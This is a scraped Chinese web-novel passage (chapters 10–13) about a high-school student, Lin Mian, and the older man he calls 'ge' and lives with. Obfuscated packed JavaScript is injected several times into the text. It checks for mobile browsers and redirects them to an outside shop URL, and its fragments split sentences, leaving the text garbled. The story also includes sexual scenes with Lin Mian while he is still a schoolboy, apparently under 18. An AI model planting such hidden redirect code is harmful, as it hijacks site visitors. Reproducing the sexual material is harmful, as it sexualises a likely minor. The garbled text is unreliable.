0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990808|193694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林缅偷偷抽电子烟开始,他有意识地在减少自己抽烟的频率,但是他现在一根接着一根,肺在隐隐作痛。 这种莫名其妙的占有欲想来是很幼稚的,也很奇怪。可是,他没有因为林缅有青春期小秘密不告诉他而不爽,也不会因为林缅有早恋对象而多做干涉。 郜屿宁呼出一口浊气,把最后一个烟头和被揉烂的空烟盒丢进垃圾箱回了家。 家里客厅灯亮着,浴室里传出流水声,是林缅在洗澡。没过一会,林缅似乎听到外面有人走动的声音,打开卫生间的门探出脑袋。 “哥,是你回来了吗?我忘拿浴巾了!”说完确定郜屿宁回来之后把头重新缩了回去。 “去淋浴间等。”郜屿宁回卧室给他拿浴巾。 “哦。”林缅身上挂着水珠,嘴上答应,却还是站在原地。 很快浴室的门被敲响,但又从门外被直接打开。 林缅准备伸手接浴巾,郜屿宁却没有把浴巾给他,推开门直接走了进来。 “不是让你在里面等?不冷?”郜屿宁用手肘把门带上。 门被打开一瞬,冷气逼人,林缅光着身子朝后退了两步,差点冻出一层鸡皮疙瘩,他吸了吸鼻子,但说,“还好。” 郜屿宁抬手把浴巾盖在他身上。 隔着浴巾捏了一把他的手臂,又把他转过去摸着他的背,帮他把身上的水珠被擦得大差不差。 郜屿宁还穿着正装,连皮鞋都没换,从头到脚一丝不苟。 林缅却赤身裸体地裹在浴巾里,有点不好意思地垂着眼睛,“你先出去吧哥,我穿衣服。” “不是说要我帮你吗?”郜屿宁微微扭过头轻咳了一声,又看向他说道。 他拿起浴巾的边,在林缅的脑袋上也揉了一把,眼神轻轻地落在他身上。 两人呆在密闭的空间里,热气还在慢慢蒸腾,雪松味的沐浴露香气随着水汽在空中飘散,不知为何感觉甜比冷调更明显一些。 林缅看向郜屿宁,愣了两秒,眼神躲闪,有些紧张,“啊…现在吗?” “嗯。”郜屿宁回答,揽住林缅的腰往后走,林缅没站稳踉跄了两步,直接往后摔去,两个人一齐坐在坐便器的盖子上,前胸贴后背。 林缅的拖鞋也被绊掉了,两只脚正好踩在郜屿宁的皮鞋上。 浴巾掉在地上。浴室里开着暖烘烘的浴霸,一片亮黄色,照在林缅的身上。 林缅还未来得及反应,就感觉到一阵酥麻在身体里蔓延开来,像电流一样经过他每一根神经,连脚趾都不自觉地蜷缩在一起。 …………… “嗯…” 浴室的热气似乎还在蒸腾,让他晕头转向,分不清现实与幻觉。 …………… 林缅深吸了一口气,声音有点湿,带着潮气,“你轻点…” …………… “你松手、你快松手…哥。” …………… 这种时刻脑子已经混沌一片,只能发出呜咽,林缅终于痛苦得有些发恼。 “郜屿宁!”叫全名却叫得毫无气势、委屈至极,带着浓重的哭腔,楚楚可怜,像极了哀求。 郜屿宁依旧看着他的表情,若有似无地轻笑了一声,“嗯?” “你快让我…” 恼怒的话还没有说完,好似一阵风吹来,把顽劣的落叶给轻飘飘地吹走了。 未说完的话语变成一声不由自主地小声惊呼,“嗯啊…”身体在郜屿宁的怀里无法自控地战栗了一下。 水域深处的伏流迅速跳动、扩张。 被掩住的泉眼喷涌出水花。 11. 第 11 章 林缅眼睛红了一圈,眼泪挂到了下巴上,也不知道为什么自己会觉得很委屈、哭得止不住,明明舒服得快死掉了。 腿上挂满了泥泞,一片狼藉。 他迫切地拧着上半身转过来想要被抱住,也不管会不会把郜屿宁的西装弄脏。 郜屿宁不为所动地等他抱住自己,林缅等不到回应,呜咽了一声握着他的手腕,往自己的后背上放,郜屿宁才开始抚摸他的背,算作安抚。 “哭什么?”郜屿宁明知故问,但声音很轻。 林缅把头埋得更深一点。 “不舒服?”郜屿宁也低下头,追问。 “不是…” “那是为什么?”郜屿宁好像一定要他说出个所以然来。 林缅搂住郜屿宁脖子,抱得更紧了一些,嘴唇轻轻蹭在郜屿宁的皮肤上,还带着哭腔娇气地回应,“哥…” 郜屿宁没再刁难他,拍了拍他的后腰,“去冲一下。” 林缅摇了摇头,他没力气了。 郜屿宁只好把他扶起来,推进淋浴间,打开花洒帮他把两条腿上的污泥冲洗干净。 拿了条干净的浴巾把他裹住,抱进房间。 被塞进被子里的林缅视线落在郜屿宁的西装上,原本笔挺精致的西装沾上了深一块浅一块的水渍,也被他揪得皱皱巴巴。 林缅脸热地躲开视线。 郜屿宁洗漱完回房间的时候,林缅正趴在床上看错题,只露出一颗毛茸茸的脑袋。 也不知道有没有看进去,眼睛鼻尖都还是红着,手里攥了张纸巾已经被揉得掉屑了。 郜屿宁上床之后把他面前的本子,拿走放到床头柜上,“看不进去别看了,直接睡吧。” 林缅彻底趴了下来,脸贴在手背上,朝郜屿宁身边挪了挪,小声地说,“要抱…” 本以为郜屿宁会像以前一样皱着眉说一句“你都多大了”再不情不愿地行动,但这次郜屿宁没有废话,虽然面色没有缓和,关了灯之后还是沉默着轻轻搂住了他。 房间彻底陷入漆黑。越是黑暗、安静的环境,情绪就越肆无忌惮地涌现。 林缅挪得更近了一些,直接把脑袋贴在郜屿宁的胸口,明明两个人用的是一样的沐浴露,但是哥哥身上的就是更好闻一些。 他脑子越来越混沌,觉得自己好像得了一种很奇怪、很变态的病。 他一直知道自己喜欢平时被郜屿宁管。可是没想到,郜屿宁不允许他射.精的时候他能这么兴奋、痛苦,各种极端的情绪能同时在他的脑海和身体里存在。 他之前听徐语常讲过ABO信息素什么的,他觉得他现在就是很需要郜屿宁身上的气味来安抚自己,所以不想也没办法再强掩自己想对郜屿宁生理上的依赖,搂得越来越紧,呼吸也越来越快。 郜屿宁觉得怀里的人好像在抖,呼吸很急促。他仔细听了两秒,起身打开灯,房间恢复光明,看见林缅紧闭着眼睛,脸上眼泪纵横,脸红得不正常。 郜屿宁摸了摸他的脖颈,温度直往他的手心里钻。林缅发烧了。 郜屿宁起身去客厅拿温度计和药片,衣角却还是被林缅死死拽着,“不要走,哥…” 一副可怜样,郜屿宁的心也被浸软了一点,声音也放轻,“去拿药,很快回来。”说着把林缅的手一点点从衣服上扒下来。 幸好第二天是周日,郜屿宁不用上班林缅不用上学,两个人都没睡好。 林缅睡到中午才醒来,身体已经没有不适,神清气爽。发现郜屿宁不在身边赶紧光着脚就跑出房间找人了,“哥!” 郜屿宁在厨房做饭,因为厨房的温度比外面高些,他只穿着件黑色的无袖背心,围裙松松垮垮地穿在身上,听见声音看了眼林缅,“回去把鞋穿上。” “哦,马上。”但走到郜屿宁身后帮他把围裙重新系紧了一点。 还摸了一把郜屿宁大臂上线条流畅的肌肉。 郜屿宁看了他一眼,“没不舒服了?” 林缅直接把额头贴在郜屿宁的手臂上,让他感受自己的温度,“没有了。” 林缅生怕郜屿宁会自责,他解释道,“昨天晚上洗澡忘记拿浴巾了,本来想冲回房间的,但是客厅的灯还亮着,窗帘也没拉,就在里面等了很久所以才冻发烧的。” 郜屿宁微不可查地顿了一下,轻轻“嗯”了一声继续忙活。 “哥…你以后能不能轻一点,而且堵得太久了,很疼。”林缅有点扭捏着说。 郜屿宁拿往旁边迈了一步拿盐罐他也赶紧凑上去,退回来他也随着郜屿宁撤了一步。 他继续说,“我昨天晚上就是有点不适应,才会哭的,不是不喜欢,也不是不舒服…哥,下次我也可以帮你的。” 这回一点都不带害臊的。 郜屿宁胸口起伏了一下,有些无奈地扫他一眼,“赶紧去穿鞋。” 林缅置若罔闻地解释,“我怕你觉得我莫名其妙哭,很奇怪嘛…” 话说一半,他又突然凑近了嗅了嗅,皱起眉头说,“不是说好了,以后少抽烟的吗?” 昨天晚上郜屿宁掐他脸的时候就闻到了烟味,但他那时自身难保,现在又闻到了,不知道大清早跑哪里抽烟去了,他心中不满。 郜屿宁回答,“知道了。” 小话唠林缅还想说些什么,郜屿宁放下手里的东西,弯腰直接抱着林缅的腿把他扛了起来,扛回房间,扔到床上,指着他说,“穿了鞋再出来。”说完转身就走出房间。 林缅倒在床上,本要埋冤,但想到郜屿宁神色有些疲倦,眼下泛着淡淡的乌青,知道照顾他一晚没睡好,又有些心疼,只是拖长了尾音“哦”一声。 自从林缅走读之后有大半个月没有回过家,果然这周五放学的时候看见张叔的车稳稳当当地停在门口。 林缅又开始给郜屿宁直播似的报备。 林缅:哥我回家了…感觉又会被林佑勤制裁… 林缅:应酬也要少喝酒、少抽烟哦,离那帮臭男人远一点!知道了吗? 林缅:喝多了我不在家可没有人照顾你[右哼哼][右哼哼] 收到消息的时候,郜屿宁刚到餐厅。 他回复完就进了包厢。 包厢里两个西装笔挺的“臭男人”,还有一个穿着休闲套装的“臭男人”,见郜屿宁进门笑着起身相迎。 他跟林缅随口说是应酬,但其实是老朋友聚会。 魏连和陆停言在海市创业,这两年正值上升期准备把科技公司搬到一线城市江市来,这次出差就是来看地的。 见郜屿宁来晚了,魏连和陆停言都打趣郜屿宁是大忙人。 楚齐彦在郜屿宁开口之前连忙回答,“可不是嘛!别看我和屿宁都在江市,除了健身都约不出来。” 郜屿宁笑了一声,“两个大男人,除了健身你还想约我干什么?” 楚齐彦给他递烟,郜屿宁只是拿在手里玩着,继续说,“再说,我又不像你工作那么清闲。” 四人在海市念高中时就是朋友,后来郜屿宁和楚齐彦都考上了江市大学的不同专业,都留在了江市。 楚齐彦工作后在江大隔壁的江市理工当了大学体育老师,在外人眼里日子也是过得清闲自在。 “这不是有老板你不愿意当嘛?”陆停言说。 创业两人一个暴发户富二代一个学的是商科,对核心技术都不了解,直到现在还经常请教工科专业对口的郜屿宁,上次郜屿宁也是帮他们看得图纸。刚开始魏连和陆停言挖了他好几次,劝他技术入股,他都以不愿意回海市拒绝了。 知道他家庭情况的两位朋友也没再多劝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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只是净身出户的母子之后生活有多困难不难想象。关于高中的记忆,郜屿宁除了穷和累就没有别的形容词了。熬到高考之后本以为好日子要好起来了,梁慧音却因为多年积劳成病,突发心脏病抢救无效,去世了。 但人一家三口却把日子过得好好的,还把餐馆关了,开成了小超市。 这些年,除了梁慧音忌日,郜屿宁没再回过海市,和郜青山他们一家三口也不想有任何联系。 说不恨是假的,但是时至今日,再恨下去不知道是惩罚别人还是在惩罚自己,人家的日子照样过得有滋有味的。况且当时梁慧音为了和郜青山一刀两断能选择净身出户,郜屿宁知道梁慧音也不会希望他老是把这些糟心事儿记挂在心里。 郜屿宁的洒脱和果断多半是遗传了梁慧音的。 况且,魏连和陆停言都在海市,每年清明节也会去帮忙扫墓、除草,郜屿宁对海市更没牵挂了。 接着上一句话,魏连说道,“不说有没有人催婚,郜屿宁不还是连婚房都在江市买好了?” 郜屿宁思绪回笼,把烟嘴里的爆珠轻轻捻碎,夹着烟送进嘴里,“别瞎说。” 楚齐彦举起杯子,同饮一口,“太好了,以后大家都在江市,随时能聚了。” 郜屿宁抬起嘴角,拿起杯子在桌上轻轻点了一下。 餐桌上叙旧话题不断。郜屿宁看了眼手机,是林缅发来的消息。 林缅:哥哥哥!我靠我爸知道我要留在国内的事情了!居然没骂我! 林缅:哥你什么时候跟他说的? 林缅:你怎么都没告诉我呢哥哥? 林缅:爱你老公! 正在喝水的郜屿宁猛呛了一口。 林缅很快撤回了,重新发来:爱你老哥! 12. 第 12 章 周一晚自习放学,郜屿宁去接林缅,一上车就看见林缅下巴上青了一块,还是没心没肺笑得开心。 “怎么了?”郜屿宁扫了他一眼,车厢里光线昏暗,但看着还是很明显。 林缅打开车上的镜子,看了一眼,嘟囔了一句,“还这么明显啊,以为很快就能消了就没告诉你呢。” 他一笔带过,“我爸要打我,我躲的时候不小心磕桌子上了。”周末在家里两天,林缅给郜屿宁发了几十上百条消息,也没提自己磕到了的事情。 “不是说没生气吗?怎么又要打你了。”郜屿宁扫了眼后视镜问。 “不是因为这个。”林缅低声说。 真实情况是,沈珏知道林缅在准备高考的事情后,提议让他每天回家好照顾他,但是林缅想要继续偷偷住在郜屿宁家里,就借口“走读太浪费时间了”,却被林佑勤骂“不识好歹”。父子俩一来二去又吵了起来,最后还是沈珏劝了好久替林缅说话才作罢,虽是小事,但这样的情形不知道发生过多少次了。 但林缅又很快亢奋起来,“但是,他还真没骂我,还以为他会打击我高考积极性呢。哥,你到底怎么跟他说的?” 郜屿宁扶着方向盘,轻描淡写,“是你亲哥说的。” 林缅稍稍顿了一下,看着郜屿宁的侧脸,主动解释,“我没有叫他去说,只是那天打电话的时候提了一嘴。” “知道。”郜屿宁回答。 林缅扭过头看着车窗,玻璃上映出郜屿宁,不着情绪。 林缅突然又转过头说,“那你为什么最近总对我那么冷淡的?我明明这几天很乖啊。” 郜屿宁牵起一点嘴角,打趣似的,“我不一直这样?” 林缅靠到座椅上,看着一盏盏路灯擦肩而过,有点委屈地说,“我又哪里惹你不开心了。” “说得我倒像是在无理取闹了。”郜屿宁清了清嗓子,朝左侧的后视镜瞥了眼。 “不是吗?你最近睡觉总背对我、被发现抽烟也不解释…前几天模考考那么好也没见你夸我…” 林缅虽然没有表现出来,其实记仇的很,早还以为是自己的错觉,他对郜屿宁的诸条罪行口诛笔伐。 最可恶的是,前两天郜屿宁第二次帮林缅的时候,居然是一副公事公办、滴水不漏的表情,这让当时脸红心跳、情欲难耐的林缅事后觉得很受伤。 只是这点他没好意思说,他总不能要求对方也要露出同等忘情的表情吧。但不妨碍他在小本本上狠狠记上一笔。 所以他放轻放软了声音,悄悄瞟着郜屿宁,“除非,今天晚上你让我帮你,我就相信你不是在生闷气。” 郜屿宁猜到他没憋好屁,果然不吃他这一套,笑道,“哼哼,爱信不信。” 林缅讪讪地闭了嘴。 回到家里还是照样给郜屿宁检查了作业、问了几道错题,最近林缅的进步确实很大,效率也高了很多。郜屿宁夸了他几句,他马上尾巴又翘到天上去了,觉得自己又行了。 做足了心理建设,趁着郜屿宁洗澡的时候直接冲了进去。 浴室里烟雾缭绕,淋浴间的的玻璃上铺着一层淡淡的雾气,里面的人影若隐若现。 唯一能看清的是,郜屿宁仰着头,花洒的水沿着他的额角、下颌线往下落,湿发被他随意抓成背头,露出清俊锋利的眉眼。 郜屿宁听到动静透过淋浴间的玻璃看向他,林缅心跳骤停了一拍,胡诌道,“我要尿尿。” 其实这些年相处下来,对方的赤身裸体没少见过,但林缅现在只是看到一个轮廓就不自在极了。林缅在马桶面前做了做样子。 郜屿宁没说话,正好把花洒关了,准备用沐浴露。 林缅做完样子,直接迈了两步到淋浴间的玻璃门前,深吸一口气,“哗”得把门拉开了。 空气凝滞了一秒。 郜屿宁明显也没料到林缅会这样,愣了愣,反应过来林缅是什么意思,“你有病?” 林缅皱着眉,明明臊得面红耳赤,说道,“都是男人有什么可害臊的,你帮过我了我也得帮帮你。” 郜屿宁身上还挂着沐浴露的白色泡沫,抹了一把脖子,身上的肌肉因为水痕泛着透明的光泽。 林缅眼睛不知道往哪里放,看郜屿宁眼睛又怕自己心虚,又不敢看别的地方,两条腿跟粘在地上了一样。 郜屿宁问,“你追女孩儿也这样?不搭理你你就耍流氓?” 林缅急了,“什么女孩儿,我只对你这样…” “这么说,我还得谢谢你呗。”郜屿宁侧身把手搭在关上,看着林缅抬了抬下巴,意思他要开花洒了让林缅出去。 林缅脸沉下来,准备出淋浴间,刚扭了个身,就踩到地上的泡沫脚底打滑,惊呼了一声,本以为要狠狠摔一跤,被郜屿宁赶紧捞住了。 站好后林缅脸红得滴血,才发现自己的身上的衣服刚刚蹭在地上已经湿透了,还沾上了郜屿宁身上的泡沫,只能重新冲一遍澡。 他偷偷掀起眼皮瞟了一眼,郜屿宁的脸已经彻底冷了下来。 郜屿宁沉默着拎起他衣服的下摆,林缅只好配合着抬手,脱掉衣物。 林缅终于有点后悔来这么胡闹一通了。 郜屿宁视线往下扫了一眼。 “不是,你怎么回事儿?”郜屿宁调笑地声音突然在密闭的淋浴间响起。 “我…”林缅羞愤难堪,扭过身去,准备开花洒,想赶紧冲完澡出去。 突然整个人被郜屿宁从后面拢住。 “嗯…” 他不由自主地,身子软了下来,站立的重心完全落在了郜屿宁的身上,刚想辩驳的话也消失了。 郜屿宁帮他解决完之后,林缅觉得自己又丢人了,强烈要求帮郜屿宁。 …………… 只是他酸得换了好几次手,最后还得郜屿宁带着他。 回到卧室,林缅故意把酸疼得厉害的右胳膊一直往郜屿宁身上搭。郜屿宁揉了一把他的胳膊,嘴上冷哼了一声。 “非要自取其辱?” 没说哪个方面,但是林缅相比之下哪个方面都不够争气。 林缅哼唧了一声,心中可惜还是没看到郜屿宁那种表情,忿忿地说,“没意思,以后不要帮你了。” “我请你的?”郜屿宁继续说,“不知道折磨谁呢。” 帮他捏完胳膊,郜屿宁掐着他的脸,看他下巴上的那小块淤青。 “说了别跟你爸硬杠,怎么不长教训。” 林缅睁开眼睛,睫毛轻轻颤了两下,嘟囔着说,“我不回嘴我难受,又打不死我。” “让你学乖点你不听,以后有的是苦头吃。”郜屿宁拿着药膏,把他的脸往床头灯的方向偏了偏, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990810|193694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 教育他,“上次考试收卷铃都响了,是不是还跟老师撕巴试卷来着?没判你作弊算你运气好。” 林缅看着认真帮自己涂药的郜屿宁,泛黄的灯光柔化了他的棱角,眼神都显得温柔了许多,两片薄薄的嘴唇一张一合,看着红红的软软的,他完全听不进郜屿宁在说什么。 低低说了声,“什么响铃卷?” “啧。”郜屿宁无语地看了他一眼。 林缅回过神来,嬉皮笑脸地摸了摸郜屿宁的脸,“我知道我知道,哥,我以后一定听话,不让你操心。” 郜屿宁把药膏扔到床头柜上,啪得把夜灯关了,房间里陷入黑暗,“睡觉。” 沉寂了一会,林缅开口,“哥,你睡着了吗?” “睡着了。” 林缅看着漆黑的天花板,继续说,“其实我很紧张。” 郜屿宁回答,“你要是闲得慌,就去把练习册上那些我叫你别做的题目都做了。” “之前还说浪费时间呢…”林缅有点抱怨地说。 郜屿宁很理解他大考之前的焦虑,是很认真地在安慰他,“做的时候你就能发现,其实你基础已经很扎实了,该会的你都会了,那些题目对于你来说很简单。” 林缅若有所思,扭过看向身边的人,“哥,你怎么不问我为什么会紧张?” “嗯?” “因为你之前说我考不上江大就不理我了。”林缅有些娇嗔地像是在责备郜屿宁。 郜屿宁的声音里带了点笑意,“这么把我的话放心上呢?” 林缅侧躺过来,直接面对着郜屿宁,“你说得这是什么话,你哪次说话我没有听啦?” 郜屿宁故意逗他,“那你考不上就别叫我哥了,我说认真的。” 林缅一气之下在床上又翻了个一百八十度的身,背对着郜屿宁挪到床边,直接把头埋进被子里。 郜屿宁觉得好笑,偏过头看着被子里的一坨,“过来。” 林缅勉强地把头从被子里探出来,只露出一个毛茸茸的后脑勺。 “要不要抱了?” 林缅身子微微向后倾了一下,跟探出洞的兔子一样,又迅速地挪了回来,不情不愿地窝进郜屿宁的怀里,嘴硬道,“抱也哄不好。” “哦,那不抱了。”郜屿宁故意说。 “啊!”林缅叫了一声,发现背上的手根本没撒开,知道郜屿宁在逗他,但还是气不过咬了一口郜屿宁的肩膀。 郜屿宁笑着拍他的背,“好了好了,不闹了。” “干嘛老是逗我…”林缅安分下来,声音闷闷的。 难得认真地安慰道,“其实你基础挺好的,只是应试技巧不太够,所以前几次模考成绩不那么理想,后来我帮你复习之后不是都考得还不错。” “可是离江大差得远着呢…”林缅绝望地说。 “尽力就行。你这次进步确实挺大的,夸夸你,可以吗?”郜屿宁紧了紧手臂。 林缅很受用地用脑袋蹭了蹭郜屿宁的脖子,很容易就被哄好了。被郜屿宁的气息包围着很快不安的情绪很快就消散了,迷迷糊糊地要沉入梦乡。 记忆里好像有件事情没说,像说梦话一样,“哥,明天…开家长会…我忘说了…” 郜屿宁一阵无语。 这小孩儿到底哪里紧张了,连家长会这么重要的事都差点忘记。 13. 第 13 章 最后一次家长会、最后一次模考…五月就和开了加速器一样以各种特别清晰的节点有条不紊地往前滚动,转瞬即逝。 林缅偶尔半夜睡不着,郜屿宁就拉他起来看国外学校给他发的“Congratulations”缓解焦虑,林缅狠下心来,决定一所学校的留位费都不交,彻底断了自己后路。 或是一起做简单得不行的练习题,帮他找自信。 郜屿宁有时还会拉他打两把游戏想带他放松一下,倒是林缅吵着说书还没背好,叫郜屿宁自己玩去别打扰他。 高考前几天,林佑勤找郜屿宁,让他跟林缅老师请个假,林缅高考那几天让张叔接他回家住。 林佑勤到现在都不知道林缅一直住在郜屿宁家里,郜屿宁摸了摸鼻尖,说,“还是平常心对待吧,突然回家不适应,小缅又要闹。” 郜屿宁说话直接了当,林佑勤愣了愣,但是自己儿子什么脾气他也是知道的,也没再多说,只说那高考之后再接他回家。 高考那几天,对于林缅来说和平常没有什么太大的区别。唯一的记忆就是,前一天晚上郜屿宁问他第二天考试穿什么衣服,他把一件黑色的T恤拿给郜屿宁。 他洗完澡出来,却看见,郜屿宁带着黑框眼镜,拿着绣花针往他的衣服后领上绣一小块红色的布条。 他凑过去仔细看,上面是一个精致小巧的彩云的图案。 郜屿宁继续缝着,针脚别别扭扭的,“借你的,考完记得还给我。” 林缅鼻子有些发酸,抱住郜屿宁的腰,脑袋在他的胸口蹭了蹭,“哥,你真好。” 林缅不难猜到,这是郜屿宁高考时他妈妈给他绣的。他妈妈去世后,也一直留到现在。 因为郜屿宁的针法实在太差劲了,导致林缅考试的时候,后颈经常会蹭到那一块布条柔软的边角,但反倒觉得更安心了一些。 走出考场,六月的活力扑面而来,他才真正开始听见蝉鸣、看见苍翠的绿叶、感受到夏天。 之前唯一的盼头就是高考结束,就好像高考之后日子会发生翻天覆地的变化,但好像并不是这样。 唯一的变化就是他迫不得已地搬回家里住了。 晚上,吴姨来他房间里收脏衣服的时候,林缅正在和郜屿宁视频,绘声绘色地跟他讲考试的时候碰到他没见过的题目是如何化险为夷的。 电话那头的人郜屿宁正在看图纸,有一搭没一搭地应着他。 突然,郜屿宁听见林缅叫了一声追着吴姨跑了出去,视频只剩下被摆得满满当当的假面骑士的手办柜。 过了一会,林缅才重新出现在屏幕里。 “干嘛去了?”郜屿宁问。 林缅举起衣服的领子给郜屿宁看,笑嘻嘻地说,“拯救小彩云。” 郜屿宁被他逗笑了,“收好了,下次还给我。” “遵命!”林缅亢奋地说。 但很快又蔫了下来,“我这段时间呆在家里,还不知道我爸要怎么挑我的刺。” 郜屿宁视线从电脑上移到手机屏幕上,“不想住家里就搬出来。” 林缅乖顺地点了点头,“我就住十天半个月意思一下。” 互道晚安之后,林缅抱着T恤爬上床。其实这十天半个月倒不是真是为了住在家里,是他有个计划。 他要考摩托车驾驶证。他身份证上的日期比他实际生日要早一些,所以他算是已经成年了。 但是不太敢让郜屿宁知道,因为郜屿宁连让他坐后座兜风都不太乐意。 于是小少爷顶着三伏天的大太阳,骑着三蹦子,在驾校的训练场上混得风生水起,历时十九天终于拿下来最全面的摩托车D照,只是晒黑了一点。 本来想着等白回来,再去找郜屿宁的,但眼看快要到月底查成绩,林缅还是赶紧收拾收拾东西,准备离家出走了。 也不是觉得自己考得差,而是这样历史性的时刻,他还是想跟最重要功劳最大的郜屿宁一起见证。 毕竟他连四人组一起查成绩的邀请都拒绝了,总不会是为了和煞风景的林佑勤一起查成绩。 成绩出来的前一天,林缅借口要郜屿宁帮他填高考志愿,就拖着他的三十寸行李箱和大包小包溜走了。 张叔把林缅送到郜屿宁家才是上午,正是郜屿宁上班的时间,家里没人。 “小缅,你下午是不是还约了朋友,我到时候来送你。”张叔听到林缅刚刚在车上打电话提到下午出门去找陈汋他们的事。 林缅把行李箱从张叔手里接过来时,扫见玄关处的摩托车钥匙,心中暗喜,他熟门熟路地给张叔倒了杯水,说道,“不用了,我到时候自己打车去,不麻烦您了。” 到现在为止,除了朋友没人知道他这卧薪尝胆早出晚归了半个月是在考摩托车驾照。 送走张叔,林缅把东西理完已经差不多中午时间了,他迫不及待地想要拿郜屿宁的那辆摩托车试试手了。 林缅抱着郜屿宁的头盔、甩着车钥匙就向地下停车场去了,并且早早在四人组的小群里预告:本人即将精彩亮相。 这种正儿八经的摩托和驾校里的三蹦子有很大差别。全副武装完毕后,林缅一开始跨坐上去还有些不适应,只敢轻轻拧把手,车身一下子窜了出去,差点没停稳,林缅心跳停了一拍,下意识的反应却是不能把郜屿宁车给碰坏了。 林缅俯下上身,压低了重心,第二次启动时有数多了,很快找到了平衡。 引擎声轰鸣,他驶出了地下停车场,伴随着青天白日的光亮,他的中二血脉一下子觉醒了。甚至感觉下一秒自己就要化身假面骑士,开始变身了。 驶出一段距离,他停下来等红绿灯时,发现仪表盘上有箭头忽明忽暗的闪烁。时间还早,本就决定到处转转兜风的林缅决定就先跟着这自动导航走。? 没有目的地的林缅一路上风驰电掣,只顾着和同行的汽车竞速,感受把所有鸣笛声甩在身后的快感,极致的速度带来的肾上腺素的飙升。 导航终于显示快要到达目的地了,最后一个转弯,林缅压低身位,来了把极致的“压弯”。 最后林缅渐渐收缓速度,停在了大厦前空地上,周围都是来来往往的上班族,不少人向他侧目,刚刚的压弯压得帅但有些吓人。 林缅只顾着自己爽,不以为意,酣畅淋漓地摘下头盔,随手抓了抓头发,长呼出一口气,一副意犹未尽的样子。 “林缅。” 再熟悉不过的声音在身后不远处响起,尾音带着一点点犹豫,但足以让林缅感觉自己的心脏停了一秒。 路痴的他才后知后觉这环境有点眼熟,他视线上移,终于看清面前那几排气派的大厦,上面写着擎尤集团。 不能这么倒霉吧。林缅心想着,僵硬地转过身,但不是郜屿宁还能是谁呢。他看向几步之外的人影,不紧不慢地朝他走来。 郜屿宁之前通勤经常骑得就是这辆车,仪表盘上的自动导航目的地就是擎尤集团,一点也不奇怪。只是林缅的脑子刚刚被假面骑士占领了,现在才反应过来,自己像自投罗网的蠢王八。 郜屿宁也确实没想到,下楼去车上拿份文件的功夫能看见这一幕。 不说林缅偷骑摩托车的事情,就凭刚刚那压弯的架势,不难想象林缅这一路上骑得有多不要命。 郜屿宁目光冷厉,不着情绪的声音响起,“刚刚压弯压得挺帅啊。” 一阵热风吹过,林缅的头发被一来二去折腾得有些乱,刚刚有多帅现在就有多狼狈。 他瓮声瓮气,“哥…” 郜屿宁的视线在他身上梭巡了片刻。时隔半个多月没见,皮肤较之前黑了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990811|193694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些,头发又烫成了黑色小卷毛,被弄乱后额角的疤露正好了个边角。林缅微颤着眼皮小心翼翼地偷瞄他,嘴巴抿成一条直线,看着有多委屈似的。 “滚下来。”郜屿宁不吃他装小羊的这一套,声音短促。 林缅只好抱着头盔灰溜溜地从车上下来。明明也一米八的人了,站在郜屿宁面前气势自动弱了一半。 “哥,我有驾照的。”他小声辩驳。 “屁话,没驾照你早进看拘留所了。你要我去警局接你几次?”郜屿宁不难猜到这半个月林缅干什么去了。 “我不是怕你不同意嘛…” 话音未落,林缅的肚子不合时宜地叫了一声。从早上收拾行李到现在他一口东西都没吃。 他轻轻抬起眼睛看向郜屿宁,下嘴唇微微翘起,又是一副可怜表情。 郜屿宁依旧冷着脸,没再搭理他,转身朝身后的一家餐厅走去。林缅赶紧跟了上去。 餐厅里有不少人是擎尤的员工,林缅感受到很多若有似无的眼神落在郜屿宁的身上。 他小心翼翼地把头盔放到对面的沙发上,然后坐到郜屿宁的身边,也不敢使出太大的动静让别人看笑话。 菜品很快上齐。 “哥,你用不着生这么大气吧…”林缅搅了一叉子意面,低声说道。 “赶紧吃,吃完滚。” 林缅不敢火上浇油,只好沉默着进食。正好两个人经过他们卡座时,突然回头惊喜地跟郜屿宁打招呼。 郜屿宁掀起眼皮,牵着嘴角,微微笑了一下算作回应。 正是午餐高峰期,餐厅没有空座了,那两位同事又不好意思地问能不能拼座。 林缅赶紧点头如捣蒜,“可以呀可以呀。”说着起身把对面沙发的头盔捧了回来。想着有外人在,郜屿宁不会太给他脸色看。 实习生何琰南的视线落在旁边的林缅身上,“这位是?” 郜屿宁刚张口,林缅赶紧抢先回答,“我是他弟弟。” 何琰南的表情亮了起来,“哦!我记得的,你叫林缅对吧!” 郜屿宁冷淡地“嗯”了一声。 林缅突然心里喜滋滋的,还有点不好意思,“我哥还跟你们提过我呀…” 何琰南哈哈笑了一下,“不是,我见过你的一模考卷。” 